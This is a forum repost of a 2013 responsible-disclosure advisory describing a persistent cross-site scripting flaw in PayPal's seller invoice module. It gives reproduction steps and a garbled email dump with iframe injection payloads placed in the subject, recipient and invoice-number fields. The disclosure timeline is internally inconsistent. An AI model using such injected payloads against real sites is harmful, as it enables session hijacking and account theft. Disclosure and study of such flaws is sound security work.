snakeO2 Posted April 1, 2013 Report Posted April 1, 2013 Title:======Paypal Bug Bounty #6 - Persistent Web VulnerabilityDate:=====2013-03-27References:===========http://www.vulnerability-lab.com/get_content.php?id=645PayPal Security UID: ydh14ayfuVL-ID:=====645Common Vulnerability Scoring System:====================================3.5Introduction:=============PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy (for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request a transfer to their bank account.PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale, Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across Europe, PayPal also operates as a Luxembourg-based bank.On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]Abstract:=========The Vulnerability Laboratory Research Team discovered a Web Vulnerability in the official Paypal plaze ecommerce website application.Report-Timeline:================2012-07-01: Researcher Notification & Coordination2012-07-02: Vendor Notification2012-08-13: Vendor Response/Feedback2012-03-26: Vendor Fix/Patch2012-03-27: Public DisclosureStatus:========PublishedAffected Products:==================PayPal IncProduct: Core Application 2012 Q4Exploitation-Technique:=======================RemoteSeverity:=========MediumDetails:========A persistent input validation vulnerability is detected in the official Paypal ecommerce website content management system for sellers.The bug allows remote attackers to implement/inject own malicious script code on the application side (persistent) of the paypal web service. The persistent vulnerability is located in the Seller Invoice module with the bound vulnerable sent an invoice, your invoice, subject, sent to & invoice number parameters. The vulnerability can be exploited by remote attackers with low required user inter action and privileged seller account. Successful exploitation of the vulnerability can lead to session hijacking (admin), account steal via persistent web attack or stable (persistent) context manipulation.Vulnerable Section(s): [+] SellerVulnerable Module(s): [+] Invoice - ListingVulnerable Parameter(s): [+] sent an invoice [+] your invoice [+] subject [+] sent to [+] invoice number fieldProof of Concept:=================The vulnerability can be exploited by remote attackers with Business (Seller) Account & low required user inter action.For demonstration or reproduce ...1. To reproduce the vulnerability, the remote attacker (seller) creates an invoice by going to [Request Money] -> Create invoice2. He injects in the input fields of sent an invoice, your invoice, subject, sent to & invoice number field own malicious script code like js or html3. In Send to field, the attacker can choose the mails of users on paypal to send them directly the malicous invoice4. When the user checks his inbox the malicious script code (html/js) gets executed [persistent] out of the listing web contextReview: <tr><td>Subject: </td><td> You sent an invoice (``>``<iframe src=``devscr-Dateien/a.x`` to<=`` td=``></tr></table> <div id=``email_body`` style=``height:300px``><textarea style=``border:0; width:98%; height:300px; overflow:visible`` readonly=``readonly``> ----NextPart_048F8BC8A2197DE2036AContent-Transfer-Encoding: quoted-printableContent-Type: text/plain; charset=windows-1252----------------------------------------------------------------------You sent an invoice----------------------------------------------------------------------Hello =22>=22<iframe src=3Dhttp://www.vuln-lab.com></iframe>,Your invoice (=22>=22<iframe src=``devscr-Dateien/www.htm`` was=`` just=`` sent=`` to=``">"<iframe`` ==`` please=`` note=`` that=`` it=`` may=`` take=`` a=`` few=`` moments=`` for=`` this=`` transaction=`` appear=``in`` your=`` account.=`` see=`` invoice:=``https://www.sandbox.paypal.com/us/cgi-bin/?cmd=3D_inv-details&id=3DINV2-6G2=`` h-qwaa-ajup-rhnv=`` ----------------------------------------------------------------------=`` ">"<iframe=``src=3Dhttp://www.vuln-lab.com></iframe>=22``>=22<iframe =src=3Dhttp://www.vuln-lab.com></iframe>=22>=22<iframe src=``devscr-Dateien/www_003.htm``></iframe>----------------------------------------------------------------------Summary of your invoice----------------------------------------------------------------------Sent to: ``>``<iframe =src=3Dhttp://www.vuln-lab.com></iframe>test=40test.comSent from: =22>=22<iframe src=``devscr-Dateien/www_003.htm``></iframe>the_st_1341106590_biz=40mail.comInvoice number: =22>=22<iframe src=``devscr-Dateien/www_004.htm`` date=`` payment=`` is=`` due:=`` jun=`` 30,=`` 2012=`` amount:=``244.00`` usd=`` see=`` the=`` invoice=`` as=`` your=`` recipient=`` sees=`` it=`` :=``https://www.sandbox.paypal.com/us/cgi-bin/?cmd=3D_pay-inv&id=3DINV2-6G2H-QW=`` aa-ajup-rhnv=``20`` ----------------------------------------------------------------------=`` help=`` center:=``20`` https:=`` www.sandbox.paypal.com=```` us=`` cgi-bin=`` helpweb?cmd=``3D_help`` security=`` please=`` don't=`` reply=`` to=`` this=`` email.=`` it'll=```` just=`` confuse=`` computer=`` that=``sent`` and=`` you=`` won't=`` get=`` a=`` response.=```` copyright=``A9`` paypal,=`` inc.=`` all=`` rights=`` reserved.=`` paypal=`` located=`` at=``2211`` n.=```` first=`` st.,=`` san=`` jose,=`` ca=`` 95131.=``20`` email=`` id=`` pp1558=`` ----nextpart_048f8bc8a2197de2036a=```` content-transfer-encoding:=`` quoted-printable=`` content-type:=`` text=`` html;=`` charset=``windows-1252`` <html=``><head title=3D=22PayPal=22/><body><div class=3D=22ppmail=22><style =type=3D=22text/css=22>=23emailWrapperTable h1, =23emailWrapperTable h2 ==7Bfont-family:Verdana,Arial;margin-bottom:2px; font-size:15px;=7D=23emailWrapperTable h3 =7Bfont-size:13px;=7D=23emailWrapperTable h4 =7Bfont-size:11px;=7Da =7Bcolor:=23084482; text-decoration:underline;=7Dhr =7Bdisplay: none;=7D=2Esmall =7Bfont-size:10px;=7D=2Eppid =7Bcolor:=23757575;=7Dp =7Bmargin:11px 0; padding:0;=7D</style><=21--=5Bif gte mso 9=5D><style>.outlookFix =7Bfont-size:11px ==21important;=7D</style><=21=5Bendif=5D--><table border=3D=220=22 cellpadding=3D=220=22 cellspacing=3D=220=22 =id=3D=22emailWrapperTable=22 style=3D=22font:11px Verdana, Arial, =Helvetica, sans-serif;color:=23333;=22 width=3D=22580=22><tr =valign=3D=22top=22><td colspan=3D=223=22><table border=3D=220=22 =cellpadding=3D=220=22 cellspacing=3D=220=22 width=3D=22100%=22 =style=3D=22margin-bottom:10px;=22><tr valign=3D=22bottom=22><td =align=3D=22left=22 width=3D=22253=22><span> </span></td><td =align=3D=22right=22 style=3D=22padding:0 4px 4px 0;=22><span =style=3D=22font:12px arial;font-style: italic;color: =23757575;=22>Powered =by</span></td><td align=3D=22left=22 width=3D=2289=22 =style=3D=22padding-right:13px;=22><img align=3D=22center=22 =height=3D=2220=22 =src=3D=22http://www.sandbox.paypal.com/en_US/i/logo/logo_paypal_76w_20h.gif==22 border=3D=220=22 =alt=3D=22PayPal=22/></td></tr><tr><td/></tr></table></td></tr><tr><td =colspan=3D=223=22><img height=3D=2213=22 =src=3D=22http://www.sandbox.paypal.com/en_US/i/scr/scr_emailTopCorners_580w=x13h.gif=22 border=3D=220=22 style=3D=22vertical-align:bottom=22 =alt=3D=22=22/></td></tr><tr><td width=3D=2212=22 =style=3D=22background:url(/i/scr/scr_emailLeftBorder_13wx1h.gif) left =repeat-y;border-left: 1px solid =23ddd;=22><i Risk:=====The security risk of the persistent script code inject web vulnerability is estimated as medium(+).Credits:========Vulnerability Laboratory [Research Team] - Ibrahim M. El-Sayed [the_storm] (storm@vulnerability-lab.com)Sursa: PayPal Sellers CMS Cross Site Scripting ? Packet Storm Quote
